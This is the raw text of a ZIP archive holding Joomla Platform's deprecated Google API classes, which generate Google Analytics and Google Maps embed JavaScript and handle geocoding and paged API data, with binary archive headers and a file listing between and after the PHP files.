* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Registry\Registry;
/**
* Google API data class for the Joomla Platform.
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/google` package via Composer instead
*/
abstract class JGoogleData
{
/**
* @var Registry Options for the Google data object.
* @since 3.1.4
*/
protected $options;
/**
* @var JGoogleAuth Authentication client for the Google data object.
* @since 3.1.4
*/
protected $auth;
/**
* Constructor.
*
* @param Registry $options Google options object.
* @param JGoogleAuth $auth Google data http client object.
*
* @since 3.1.4
*/
public function __construct(Registry $options = null, JGoogleAuth $auth =
null)
{
$this->options = isset($options) ? $options : new Registry;
$this->auth = isset($auth) ? $auth : new
JGoogleAuthOauth2($this->options);
}
/**
* Method to authenticate to Google
*
* @return boolean True on success.
*
* @since 3.1.4
*/
public function authenticate()
{
return $this->auth->authenticate();
}
/**
* Check authentication
*
* @return boolean True if authenticated.
*
* @since 3.1.4
*/
public function isAuthenticated()
{
return $this->auth->isAuthenticated();
}
/**
* Method to validate XML
*
* @param string $data XML data to be parsed
*
* @return SimpleXMLElement XMLElement of parsed data
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
protected static function safeXml($data)
{
try
{
return new SimpleXMLElement($data, LIBXML_NOWARNING | LIBXML_NOERROR);
}
catch (Exception $e)
{
throw new UnexpectedValueException("Unexpected data received from
Google: `$data`.", $e->getCode(), $e);
}
}
/**
* Method to retrieve a list of data
*
* @param array $url URL to GET
* @param int $maxpages Maximum number of pages to return
* @param string $token Next page token
*
* @return mixed Data from Google
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
protected function listGetData($url, $maxpages = 1, $token = null)
{
$qurl = $url;
if (strpos($url, '&') && isset($token))
{
$qurl .= '&pageToken=' . $token;
}
elseif (isset($token))
{
$qurl .= 'pageToken=' . $token;
}
$jdata = $this->query($qurl);
$data = json_decode($jdata->body, true);
if ($data && array_key_exists('items', $data))
{
if ($maxpages != 1 &&
array_key_exists('nextPageToken', $data))
{
$data['items'] = array_merge($data['items'],
$this->listGetData($url, $maxpages - 1,
$data['nextPageToken']));
}
return $data['items'];
}
elseif ($data)
{
return array();
}
else
{
throw new UnexpectedValueException("Unexpected data received from
Google: `{$jdata->body}`.");
}
}
/**
* Method to retrieve data from Google
*
* @param string $url The URL for the request.
* @param mixed $data The data to include in the request.
* @param array $headers The headers to send with the request.
* @param string $method The type of http request to send.
*
* @return mixed Data from Google.
*
* @since 3.1.4
*/
protected function query($url, $data = null, $headers = null, $method =
'get')
{
return $this->auth->query($url, $data, $headers, $method);
}
/**
* Get an option from the JGoogleData instance.
*
* @param string $key The name of the option to get.
*
* @return mixed The option value.
*
* @since 3.1.4
*/
public function getOption($key)
{
return $this->options->get($key);
}
/**
* Set an option for the JGoogleData instance.
*
* @param string $key The name of the option to set.
* @param mixed $value The option value to set.
*
* @return JGoogleData This object for method chaining.
*
* @since 3.1.4
*/
public function setOption($key, $value)
{
$this->options->set($key, $value);
return $this;
}
}
PK�d�[L�+�TTembed/analytics.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Google
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Google Analytics embed class for the Joomla Platform.
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/google` package via Composer instead
*/
class JGoogleEmbedAnalytics extends JGoogleEmbed
{
/**
* Method to get the tracking code
*
* @return string The Google Analytics tracking code
*
* @since 3.1.4
*/
public function getCode()
{
return $this->getOption('code');
}
/**
* Method to set the tracking code
*
* @param string $code The Google Analytics tracking code
*
* @return JGoogleEmbedAnalytics The object for method chaining
*
* @since 3.1.4
*/
public function setCode($code)
{
$this->setOption('code', $code);
return $this;
}
/**
* Checks if the javascript is set to be asynchronous
*
* @return boolean True if asynchronous
*
* @since 3.1.4
*/
public function isAsync()
{
return $this->getOption('async') === null ? true :
$this->getOption('async');
}
/**
* Load javascript asynchronously
*
* @return JGoogleEmbedAnalytics The object for method chaining
*
* @since 3.1.4
*/
public function useAsync()
{
$this->setOption('async', true);
return $this;
}
/**
* Load javascript synchronously
*
* @return JGoogleEmbedAnalytics The object for method chaining
*
* @since 3.1.4
*/
public function useSync()
{
$this->setOption('async', false);
return $this;
}
/**
* Add an analytics call
*
* @param string $method The name of the function
* @param array $params The parameters for the call
*
* @return array The added call
*
* @since 3.1.4
*/
public function addCall($method, $params = array())
{
$call = array('name' => $method, 'params' =>
$params);
$calls = $this->listCalls();
$calls[] = $call;
$this->setOption('calls', $calls);
return $call;
}
/**
* List the analytics calls to be executed
*
* @return array A list of calls
*
* @since 3.1.4
*/
public function listCalls()
{
return $this->getOption('calls') ?
$this->getOption('calls') : array();
}
/**
* Delete a call from the stack
*
* @param int $index Index of call to delete (defaults to last added
call)
*
* @return array The deleted call
*
* @since 3.1.4
*/
public function deleteCall($index = null)
{
$calls = $this->listCalls();
if ($index === null)
{
$index = count($calls) - 1;
}
$call = $calls[$index];
unset($calls[$index]);
$calls = array_values($calls);
$this->setOption('calls', $calls);
return $call;
}
/**
* Create a javascript function from the call parameters
*
* @param string $method The name of the function
* @param array $params The parameters for the call
*
* @return string The created call
*
* @since 3.1.4
*/
public function createCall($method, $params = array())
{
$params = array_values($params);
if ($this->isAsync())
{
$output = "_gaq.push(['{$method}',";
$output .= substr(json_encode($params), 1, -1);
$output .= ']);';
}
else
{
$output = "pageTracker.{$method}(";
$output .= substr(json_encode($params), 1, -1);
$output .= ');';
}
return $output;
}
/**
* Add a custom variable to the analytics
*
* @param int $slot The slot to store the variable in (1-5)
* @param string $name The variable name
* @param string $value The variable value
* @param int $scope The scope of the variable (1: visitor level,
2: session level, 3: page level)
*
* @return array The added call
*
* @since 3.1.4
*/
public function addCustomVar($slot, $name, $value, $scope = 3)
{
return $this->addCall('_setCustomVar', array($slot, $name,
$value, $scope));
}
/**
* Get the code to create a custom analytics variable
*
* @param int $slot The slot to store the variable in (1-5)
* @param string $name The variable name
* @param string $value The variable value
* @param int $scope The scope of the variable (1: visitor level,
2: session level, 3: page level)
*
* @return string The created call
*
* @since 3.1.4
*/
public function createCustomVar($slot, $name, $value, $scope = 3)
{
return $this->createCall('_setCustomVar', array($slot,
$name, $value, $scope));
}
/**
* Track an analytics event
*
* @param string $category The general event category
* @param string $action The event action
* @param string $label The event description
* @param string $value The value of the event
* @param boolean $noninteract Don't allow this event to impact
bounce statistics
*
* @return array The added call
*
* @since 3.1.4
*/
public function addEvent($category, $action, $label = null, $value = null,
$noninteract = false)
{
return $this->addCall('_trackEvent', array($category,
$action, $label, $value, $noninteract));
}
/**
* Get the code to track an analytics event
*
* @param string $category The general event category
* @param string $action The event action
* @param string $label The event description
* @param string $value The value of the event
* @param boolean $noninteract Don't allow this event to impact
bounce statistics
*
* @return string The created call
*
* @since 3.1.4
*/
public function createEvent($category, $action, $label = null, $value =
null, $noninteract = false)
{
return $this->createCall('_trackEvent', array($category,
$action, $label, $value, $noninteract));
}
/**
* Get code to load Google Analytics javascript
*
* @return string Javascript code
*
* @since 3.1.4
*/
public function getHeader()
{
if (!$this->isAsync())
{
// Synchronous code is included only in the body
return '';
}
if (!$this->getOption('code'))
{
throw new UnexpectedValueException('A Google Analytics tracking
code is required.');
}
$code = $this->getOption('code');
$output = '<script type="text/javascript">';
$output .= 'var _gaq = _gaq || [];';
$output .= "_gaq.push(['_setAccount',
'{$code}']);";
foreach ($this->listCalls() as $call)
{
$output .= $this->createCall($call['name'],
$call['params']);
}
$output .= '_gaq.push(["_trackPageview"]);';
$output .= '</script>';
return $output;
}
/**
* Google Analytics only needs to be included in the header
*
* @return null
*
* @since 3.1.4
*/
public function getBody()
{
if (!$this->getOption('code'))
{
throw new UnexpectedValueException('A Google Analytics tracking
code is required.');
}
$prefix = $this->isSecure() ? 'https://ssl' :
'http://www';
$code = $this->getOption('code');
if ($this->isAsync())
{
$output = '<script type="text/javascript">';
$output .= '(function() {';
$output .= 'var ga = document.createElement("script");
ga.type = "text/javascript"; ga.async = true;';
$output .= "ga.src =
'{$prefix}.google-analytics.com/ga.js';";
$output .= 'var s =
document.getElementsByTagName("script")[0];
s.parentNode.insertBefore(ga, s);';
$output .= '})();';
$output .= '</script>';
}
else
{
$output = '<script type="text/javascript">';
$output .= "document.write(unescape(\"%3Cscript
src='{$prefix}.google-analytics.com/ga.js'
type='text/javascript'%3E%3C/script%3E\"));";
$output .= '</script>';
$output .= '<script type="text/javascript">';
$output .= 'try{';
$output .= "var pageTracker =
_gat._getTracker('{$code}');";
foreach ($this->listCalls() as $call)
{
$output .= $this->createCall($call['name'],
$call['params']);
}
$output .= 'pageTracker._trackPageview();';
$output .= '} catch(err) {}</script>';
}
return $output;
}
}
PK�d�[څXf�C�Cembed/maps.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Google
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Registry\Registry;
/**
* Google Maps embed class for the Joomla Platform.
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/google` package via Composer instead
*/
class JGoogleEmbedMaps extends JGoogleEmbed
{
/**
* @var JHttp The HTTP client object to use in sending HTTP requests.
* @since 3.1.4
*/
protected $http;
/**
* Constructor.
*
* @param Registry $options Google options object
* @param JUri $uri URL of the page being rendered
* @param JHttp $http Http client for geocoding requests
*
* @since 3.1.4
*/
public function __construct(Registry $options = null, JUri $uri = null,
JHttp $http = null)
{
parent::__construct($options, $uri);
$this->http = $http ? $http : new JHttp($this->options);
}
/**
* Method to get the API key
*
* @return string The Google Maps API key
*
* @since 3.1.4
*/
public function getKey()
{
return $this->getOption('key');
}
/**
* Method to set the API key
*
* @param string $key The Google Maps API key
*
* @return JGoogleEmbedMaps The object for method chaining
*
* @since 3.1.4
*/
public function setKey($key)
{
$this->setOption('key', $key);
return $this;
}
/**
* Method to get the id of the map div
*
* @return string The ID
*
* @since 3.1.4
*/
public function getMapId()
{
return $this->getOption('mapid') ?
$this->getOption('mapid') : 'map_canvas';
}
/**
* Method to set the map div id
*
* @param string $id The ID
*
* @return JGoogleEmbedMaps The object for method chaining
*
* @since 3.1.4
*/
public function setMapId($id)
{
$this->setOption('mapid', $id);
return $this;
}
/**
* Method to get the class of the map div
*
* @return string The class
*
* @since 3.1.4
*/
public function getMapClass()
{
return $this->getOption('mapclass') ?
$this->getOption('mapclass') : '';
}
/**
* Method to set the map div class
*
* @param string $class The class
*
* @return JGoogleEmbedMaps The object for method chaining
*
* @since 3.1.4
*/
public function setMapClass($class)
{
$this->setOption('mapclass', $class);
return $this;
}
/**
* Method to get the style of the map div
*
* @return string The style
*
* @since 3.1.4
*/
public function getMapStyle()
{
return $this->getOption('mapstyle') ?
$this->getOption('mapstyle') : '';
}
/**
* Method to set the map div style
*
* @param string $style The style
*
* @return JGoogleEmbedMaps The object for method chaining
*
* @since 3.1.4
*/
public function setMapStyle($style)
{
$this->setOption('mapstyle', $style);
return $this;
}
/**
* Method to get the map type setting
*
* @return string The class
*
* @since 3.1.4
*/
public function getMapType()
{
return $this->getOption('maptype') ?
$this->getOption('maptype') : 'ROADMAP';
}
/**
* Method to set the map type ()
*
* @param string $type Valid types are ROADMAP, SATELLITE, HYBRID, and
TERRAIN
*
* @return JGoogleEmbedMaps The object for method chaining
*
* @since 3.1.4
*/
public function setMapType($type)
{
$this->setOption('maptype', strtoupper($type));
return $this;
}
/**
* Method to get additional map options
*
* @return string The options
*
* @since 3.1.4
*/
public function getAdditionalMapOptions()
{
return $this->getOption('mapoptions') ?
$this->getOption('mapoptions') : array();
}
/**
* Method to add additional map options
*
* @param array $options Additional map options
*
* @return JGoogleEmbedMaps The object for method chaining
*
* @since 3.1.4
*/
public function setAdditionalMapOptions($options)
{
$this->setOption('mapoptions', $options);
return $this;
}
/**
* Method to get additional map options
*
* @return string The options
*
* @since 3.1.4
*/
public function getAdditionalJavascript()
{
return $this->getOption('extrascript') ?
$this->getOption('extrascript') : '';
}
/**
* Method to add additional javascript
*
* @param array $script Additional javascript
*
* @return JGoogleEmbedMaps The object for method chaining
*
* @since 3.1.4
*/
public function setAdditionalJavascript($script)
{
$this->setOption('extrascript', $script);
return $this;
}
/**
* Method to get the zoom
*
* @return int The zoom level
*
* @since 3.1.4
*/
public function getZoom()
{
return $this->getOption('zoom') ?
$this->getOption('zoom') : 0;
}
/**
* Method to set the map zoom
*
* @param int $zoom Zoom level (0 is whole world)
*
* @return JGoogleEmbedMaps The object for method chaining
*
* @since 3.1.4
*/
public function setZoom($zoom)
{
$this->setOption('zoom', $zoom);
return $this;
}
/**
* Method to set the center of the map
*
* @return mixed A latitude longitude array or an address string
*
* @since 3.1.4
*/
public function getCenter()
{
return $this->getOption('mapcenter') ?
$this->getOption('mapcenter') : array(0, 0);
}
/**
* Method to set the center of the map
*
* @param mixed $location A latitude/longitude array or an
address string
* @param mixed $title Title of marker or false for no marker
* @param array $markeroptions Options for marker
* @param array $markerevents Events for marker
*
* @example with events call:
* $map->setCenter(
* array(0, 0),
* 'Map Center',
* array(),
* array(
* 'click' => 'function() { // code goes here }
* )
* )
*
* @return JGoogleEmbedMaps The latitude/longitude of the center or
false on failure
*
* @since 3.1.4
*/
public function setCenter($location, $title = true, $markeroptions =
array(), $markerevents = array())
{
if ($title)
{
$title = is_string($title) ? $title : null;
if (!$marker = $this->addMarker($location, $title, $markeroptions,
$markerevents))
{
return false;
}
$location = $marker['loc'];
}
elseif (is_string($location))
{
$geocode = $this->geocodeAddress($location);
if (!$geocode)
{
return false;
}
$location = $geocode['geometry']['location'];
$location = array_values($location);
}
$this->setOption('mapcenter', $location);
return $this;
}
/**
* Method to add an event handler to the map.
* Event handlers must be passed in either as callback name or fully
qualified function declaration
*
* @param string $type The event name
* @param string $function The event handling function body
*
* @example to add an event call:
* $map->addEventHandler('click', 'function(){
alert("map click event"); }');
*
* @return JGoogleEmbedMaps The object for method chaining
*
* @since 3.1.4
*/
public function addEventHandler($type, $function)
{
$events = $this->listEventHandlers();
$events[$type] = $function;
$this->setOption('events', $events);
return $this;
}
/**
* Method to remove an event handler from the map
*
* @param string $type The event name
*
* @example to delete an event call:
* $map->deleteEventHandler('click');
*
* @return string The event handler content
*
* @since 3.1.4
*/
public function deleteEventHandler($type = null)
{
$events = $this->listEventHandlers();
if ($type === null || !isset($events[$type]))
{
return;
}
$event = $events[$type];
unset($events[$type]);
$this->setOption('events', $events);
return $event;
}
/**
* List the events added to the map
*
* @return array A list of events
*
* @since 3.1.4
*/
public function listEventHandlers()
{
return $this->getOption('events') ?
$this->getOption('events') : array();
}
/**
* Add a marker to the map
*
* @param mixed $location A latitude/longitude array or an address
string
* @param mixed $title The hover-text for the marker
* @param array $options Options for marker
* @param array $events Events for marker
*
* @example with events call:
* $map->addMarker(
* array(0, 0),
* 'My Marker',
* array(),
* array(
* 'click' => 'function() { // code goes here }
* )
* )
*
* @return mixed The marker or false on failure
*
* @since 3.1.4
*/
public function addMarker($location, $title = null, $options = array(),
$events = array())
{
if (is_string($location))
{
if (!$title)
{
$title = $location;
}
$geocode = $this->geocodeAddress($location);
if (!$geocode)
{
return false;
}
$location = $geocode['geometry']['location'];
}
elseif (!$title)
{
$title = implode(', ', $location);
}
$location = array_values($location);
$marker = array('loc' => $location, 'title' =>
$title, 'options' => $options, 'events' =>
$events);
$markers = $this->listMarkers();
$markers[] = $marker;
$this->setOption('markers', $markers);
return $marker;
}
/**
* List the markers added to the map
*
* @return array A list of markers
*
* @since 3.1.4
*/
public function listMarkers()
{
return $this->getOption('markers') ?
$this->getOption('markers') : array();
}
/**
* Delete a marker from the map
*
* @param int $index Index of marker to delete (defaults to last added
marker)
*
* @return array The latitude/longitude of the deleted marker
*
* @since 3.1.4
*/
public function deleteMarker($index = null)
{
$markers = $this->listMarkers();
if ($index === null)
{
$index = count($markers) - 1;
}
if ($index >= count($markers) || $index < 0)
{
throw new OutOfBoundsException('Marker index out of bounds.');
}
$marker = $markers[$index];
unset($markers[$index]);
$markers = array_values($markers);
$this->setOption('markers', $markers);
return $marker;
}
/**
* Checks if the javascript is set to be asynchronous
*
* @return boolean True if asynchronous
*
* @since 3.1.4
*/
public function isAsync()
{
return $this->getOption('async') === null ? true :
$this->getOption('async');
}
/**
* Load javascript asynchronously
*
* @return JGoogleEmbedMaps The object for method chaining
*
* @since 3.1.4
*/
public function useAsync()
{
$this->setOption('async', true);
return $this;
}
/**
* Load javascript synchronously
*
* @return JGoogleEmbedAMaps The object for method chaining
*
* @since 3.1.4
*/
public function useSync()
{
$this->setOption('async', false);
return $this;
}
/**
* Method to get callback function for async javascript loading
*
* @return string The ID
*
* @since 3.1.4
*/
public function getAsyncCallback()
{
return $this->getOption('callback') ?
$this->getOption('callback') : 'initialize';
}
/**
* Method to set the callback function for async javascript loading
*
* @param string $callback The callback function name
*
* @return JGoogleEmbedMaps The object for method chaining
*
* @since 3.1.4
*/
public function setAsyncCallback($callback)
{
$this->setOption('callback', $callback);
return $this;
}
/**
* Checks if a sensor is set to be required
*
* @return boolean True if asynchronous
*
* @since 3.1.4
*/
public function hasSensor()
{
return $this->getOption('sensor') === null ? false :
$this->getOption('sensor');
}
/**
* Require access to sensor data
*
* @return JGoogleEmbedMaps The object for method chaining
*
* @since 3.1.4
*/
public function useSensor()
{
$this->setOption('sensor', true);
return $this;
}
/**
* Don't require access to sensor data
*
* @return JGoogleEmbedAMaps The object for method chaining
*
* @since 3.1.4
*/
public function noSensor()
{
$this->setOption('sensor', false);
return $this;
}
/**
* Checks how the script should be loaded
*
* @return string Autoload type (onload, jquery, mootools, or false)
*
* @since 3.1.4
*/
public function getAutoload()
{
return $this->getOption('autoload') ?
$this->getOption('autoload') : 'false';
}
/**
* Automatically add the callback to the window
*
* @param string $type The method to add the callback (options are
onload, jquery, mootools, and false)
*
* @return JGoogleEmbedAMaps The object for method chaining
*
* @since 3.1.4
*/
public function setAutoload($type = 'onload')
{
$this->setOption('autoload', $type);
return $this;
}
/**
* Get code to load Google Maps javascript
*
* @return string Javascript code
*
* @since 3.1.4
*/
public function getHeader()
{
$zoom = $this->getZoom();
$center = $this->getCenter();
$maptype = $this->getMapType();
$id = $this->getMapId();
$scheme = $this->isSecure() ? 'https' : 'http';
$key = $this->getKey();
$sensor = $this->hasSensor() ? 'true' : 'false';
$setup = 'var mapOptions = {';
$setup .= "zoom: {$zoom},";
$setup .= "center: new
google.maps.LatLng({$center[0]},{$center[1]}),";
$setup .= "mapTypeId: google.maps.MapTypeId.{$maptype},";
$setup .= substr(json_encode($this->getAdditionalMapOptions()), 1,
-1);
$setup .= '};';
$setup .= "var map = new
google.maps.Map(document.getElementById('{$id}'),
mapOptions);";
$events = $this->listEventHandlers();
if (isset($events) && count($events))
{
foreach ($events as $type => $handler)
{
$setup .= "google.maps.event.addListener(map, '{$type}',
{$handler});";
}
}
$markers = $this->listMarkers();
if (isset($markers) && count($markers))
{
$setup .= 'var marker;';
foreach ($markers as $marker)
{
$loc = $marker['loc'];
$title = $marker['title'];
$options = $marker['options'];
$setup .= 'marker = new google.maps.Marker({';
$setup .= "position: new
google.maps.LatLng({$loc[0]},{$loc[1]}),";
$setup .= 'map: map,';
$setup .= "title:'{$title}',";
$setup .= substr(json_encode($options), 1, -1);
$setup .= '});';
if (isset($marker['events']) &&
is_array($marker['events']))
{
foreach ($marker['events'] as $type => $handler)
{
$setup .= 'google.maps.event.addListener(marker, "' .
$type . '", ' . $handler . ');';
}
}
}
}
$setup .= $this->getAdditionalJavascript();
if ($this->isAsync())
{
$asynccallback = $this->getAsyncCallback();
$output = '<script type="text/javascript">';
$output .= "function {$asynccallback}() {";
$output .= $setup;
$output .= '}';
$onload = 'function() {';
$onload .= 'var script =
document.createElement("script");';
$onload .= 'script.type = "text/javascript";';
$onload .= "script.src =
'{$scheme}://maps.googleapis.com/maps/api/js?" . ($key ?
"key={$key}&" : '')
. "sensor={$sensor}&callback={$asynccallback}';";
$onload .= 'document.body.appendChild(script);';
$onload .= '}';
}
else
{
$output = "<script type='text/javascript'
src='{$scheme}://maps.googleapis.com/maps/api/js?" . ($key ?
"key={$key}&" : '') .
"sensor={$sensor}'>";
$output .= '</script>';
$output .= '<script type="text/javascript">';
$onload = 'function() {';
$onload .= $setup;
$onload .= '}';
}
switch ($this->getAutoload())
{
case 'onload':
$output .= "window.onload={$onload};";
break;
case 'jquery':
$output .= "jQuery(document).ready({$onload});";
break;
case 'mootools':
$output .= "window.addEvent('domready',{$onload});";
break;
}
$output .= '</script>';
return $output;
}
/**
* Method to retrieve the div that the map is loaded into
*
* @return string The body
*
* @since 3.1.4
*/
public function getBody()
{
$id = $this->getMapId();
$class = $this->getMapClass();
$style = $this->getMapStyle();
$output = "<div id='{$id}'";
if (!empty($class))
{
$output .= " class='{$class}'";
}
if (!empty($style))
{
$output .= " style='{$style}'";
}
$output .= '></div>';
return $output;
}
/**
* Method to get the location information back from an address
*
* @param string $address The address to geocode
*
* @return array An array containing Google's geocode data
*
* @since 3.1.4
*/
public function geocodeAddress($address)
{
$uri =
JUri::getInstance('https://maps.googleapis.com/maps/api/geocode/json');
$uri->setVar('address', urlencode($address));
if (($key = $this->getKey()))
{
$uri->setVar('key', $key);
}
$response = $this->http->get($uri->toString());
if ($response->code < 200 || $response->code >= 300)
{
throw new RuntimeException('Error code ' . $response->code
. ' received geocoding address: ' . $response->body .
'.');
}
$data = json_decode($response->body, true);
if (!$data)
{
throw new RuntimeException('Invalid json received geocoding
address: ' . $response->body . '.');
}
if ($data['status'] != 'OK')
{
if (!empty($data['error_message']))
{
throw new RuntimeException($data['error_message']);
}
return;
}
return $data['results'][0];
}
}
PK�d�[_س%� � embed.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Google
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Registry\Registry;
/**
* Google API object class for the Joomla Platform.
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/google` package via Composer instead
*/
abstract class JGoogleEmbed
{
/**
* @var Registry Options for the Google data object.
* @since 3.1.4
*/
protected $options;
/**
* @var JUri URI of the page being rendered.
* @since 3.1.4
*/
protected $uri;
/**
* Constructor.
*
* @param Registry $options Google options object
* @param JUri $uri URL of the page being rendered
*
* @since 3.1.4
*/
public function __construct(Registry $options = null, JUri $uri = null)
{
$this->options = $options ? $options : new Registry;
$this->uri = $uri ? $uri : JUri::getInstance();
}
/**
* Method to retrieve the javascript header for the embed API
*
* @return string The header
*
* @since 3.1.4
*/
public function isSecure()
{
return $this->uri->getScheme() == 'https';
}
/**
* Method to retrieve the header for the API
*
* @return string The header
*
* @since 3.1.4
*/
abstract public function getHeader();
/**
* Method to retrieve the body for the API
*
* @return string The body
*
* @since 3.1.4
*/
abstract public function getBody();
/**
* Method to output the javascript header for the embed API
*
* @return null
*
* @since 3.1.4
*/
public function echoHeader()
{
echo $this->getHeader();
}
/**
* Method to output the body for the API
*
* @return null
*
* @since 3.1.4
*/
public function echoBody()
{
echo $this->getBody();
}
/**
* Get an option from the JGoogleEmbed instance.
*
* @param string $key The name of the option to get.
*
* @return mixed The option value.
*
* @since 3.1.4
*/
public function getOption($key)
{
return $this->options->get($key);
}
/**
* Set an option for the JGoogleEmbed instance.
*
* @param string $key The name of the option to set.
* @param mixed $value The option value to set.
*
* @return JGoogleEmbed This object for method chaining.
*
* @since 3.1.4
*/
public function setOption($key, $value)
{
$this->options->set($key, $value);
return $this;
}
}
PK�d�[QH��YY
google.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Google
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Registry\Registry;
/**
* Joomla Platform class for interacting with the Google APIs.
*
* @property-read JGoogleData $data Google API object for data.
* @property-read JGoogleEmbed $embed Google API object for embed
generation.
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/google` package via Composer instead
*/
class JGoogle
{
/**
* @var Registry Options for the Google object.
* @since 3.1.4
*/
protected $options;
/**
* @var JGoogleAuth The authentication client object to use in sending
authenticated HTTP requests.
* @since 3.1.4
*/
protected $auth;
/**
* @var JGoogleData Google API object for data request.
* @since 3.1.4
*/
protected $data;
/**
* @var JGoogleEmbed Google API object for embed generation.
* @since 3.1.4
*/
protected $embed;
/**
* Constructor.
*
* @param Registry $options Google options object.
* @param JGoogleAuth $auth The authentication client object.
*
* @since 3.1.4
*/
public function __construct(Registry $options = null, JGoogleAuth $auth =
null)
{
$this->options = isset($options) ? $options : new Registry;
$this->auth = isset($auth) ? $auth : new
JGoogleAuthOauth2($this->options);
}
/**
* Method to create JGoogleData objects
*
* @param string $name Name of property to retrieve
* @param Registry $options Google options object.
* @param JGoogleAuth $auth The authentication client object.
*
* @return JGoogleData Google data API object.
*
* @since 3.1.4
*/
public function data($name, $options = null, $auth = null)
{
if ($this->options && !$options)
{
$options = $this->options;
}
if ($this->auth && !$auth)
{
$auth = $this->auth;
}
switch ($name)
{
case 'plus':
case 'Plus':
return new JGoogleDataPlus($options, $auth);
case 'picasa':
case 'Picasa':
return new JGoogleDataPicasa($options, $auth);
case 'adsense':
case 'Adsense':
return new JGoogleDataAdsense($options, $auth);
case 'calendar':
case 'Calendar':
return new JGoogleDataCalendar($options, $auth);
default:
return;
}
}
/**
* Method to create JGoogleEmbed objects
*
* @param string $name Name of property to retrieve
* @param Registry $options Google options object.
*
* @return JGoogleEmbed Google embed API object.
*
* @since 3.1.4
*/
public function embed($name, $options = null)
{
if ($this->options && !$options)
{
$options = $this->options;
}
switch ($name)
{
case 'maps':
case 'Maps':
return new JGoogleEmbedMaps($options);
case 'analytics':
case 'Analytics':
return new JGoogleEmbedAnalytics($options);
default:
return;
}
}
/**
* Get an option from the JGoogle instance.
*
* @param string $key The name of the option to get.
*
* @return mixed The option value.
*
* @since 3.1.4
*/
public function getOption($key)
{
return $this->options->get($key);
}
/**
* Set an option for the JGoogle instance.
*
* @param string $key The name of the option to set.
* @param mixed $value The option value to set.
*
* @return JGoogle This object for method chaining.
*
* @since 3.1.4
*/
public function setOption($key, $value)
{
$this->options->set($key, $value);
return $this;
}
}
PK��[�)���recaptcha/LICENSEnu�[���PK��[9�Ȓ�recaptcha/src/autoload.phpnu�[���PK��[�'���%�
recaptcha/src/ReCaptcha/ReCaptcha.phpnu�[���PK��[A3k�__.�recaptcha/src/ReCaptcha/RequestMethod/Curl.phpnu�[���PK��[��iRgg2�
recaptcha/src/ReCaptcha/RequestMethod/CurlPost.phpnu�[���PK��[^���
�
.�,recaptcha/src/ReCaptcha/RequestMethod/Post.phpnu�[���PK��[=�[�ss0�7recaptcha/src/ReCaptcha/RequestMethod/Socket.phpnu�[���PK��[GI����4zCrecaptcha/src/ReCaptcha/RequestMethod/SocketPost.phpnu�[���PK��[ ���??)�Rrecaptcha/src/ReCaptcha/RequestMethod.phpnu�[���PK��[d�F�pp-gYrecaptcha/src/ReCaptcha/RequestParameters.phpnu�[���PK��[�o��
�
$4erecaptcha/src/ReCaptcha/Response.phpnu�[���PK��[�!n� rprecaptcha/.htaccessnu�[���PK��[I�F�3�3�qrecaptcha/content.phpnu�[���PK�d�[�<o�ܥauth/oauth2.phpnu�[���PK�d�[�w���+�auth.phpnu�[���PK�d�[�#{�/,/,@�data/adsense.phpnu�[���PK�d�[�Md�=�=��data/calendar.phpnu�[���PK�d�[�/�m'm'�$data/picasa/album.phpnu�[���PK�d�[����Ldata/picasa/photo.phpnu�[���PK�d�[�[�fidata/picasa.phpnu�[���PK�d�[�MM�nn�ydata/plus/activities.phpnu�[���PK�d�[p�g�
�
y�data/plus/comments.phpnu�[���PK�d�[�W�����data/plus/people.phpnu�[���PK�d�[X����
��data/plus.phpnu�[���PK�d�[��=�tt��data.phpnu�[���PK�d�[L�+�TT7�embed/analytics.phpnu�[���PK�d�[څXf�C�C��embed/maps.phpnu�[���PK�d�[_س%� � �-embed.phpnu�[���PK�d�[QH��YY
8google.phpnu�[���PK
�F